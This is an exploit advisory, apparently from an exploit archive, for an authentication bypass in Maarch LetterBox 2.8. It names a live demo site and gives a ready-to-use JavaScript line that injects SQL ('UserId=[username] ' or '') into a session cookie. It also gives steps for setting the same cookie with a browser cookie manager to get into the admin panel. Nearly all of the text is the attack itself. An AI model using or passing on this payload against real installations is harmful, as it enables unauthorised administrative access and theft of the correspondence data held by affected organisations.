26 lines
No EOL
923 B
Text
26 lines
No EOL
923 B
Text
# Title : Maarch LetterBox 2.8 Insecure Cookie Handling Vulnerability (Login Bypass)
|
|
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
|
|
# Home : http://milw00rm.com / its online
|
|
# Date : 17.11.2014
|
|
# Demo : http://www.era.sn/courrier
|
|
# Download : http://downloads.sourceforge.net/project/maarchletterbox/MaarchLetterBox2.8.zip
|
|
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
|
|
|
|
you first go here:
|
|
|
|
http://www.target.com/path/index.php?page=welcome.php
|
|
|
|
you will go login.php, but if we change our cookie's with this exploit we will be login admin panel.
|
|
|
|
exploit:
|
|
|
|
javascript:document.cookie = "UserId=[username] ' or '; path=/";
|
|
|
|
or you edit your cookie's with "Cookies Manager"
|
|
|
|
name = maarch
|
|
contents = UserId=username ' or '
|
|
host = your target
|
|
path = /script_path/
|
|
|
|
and dont change other options its keep default. |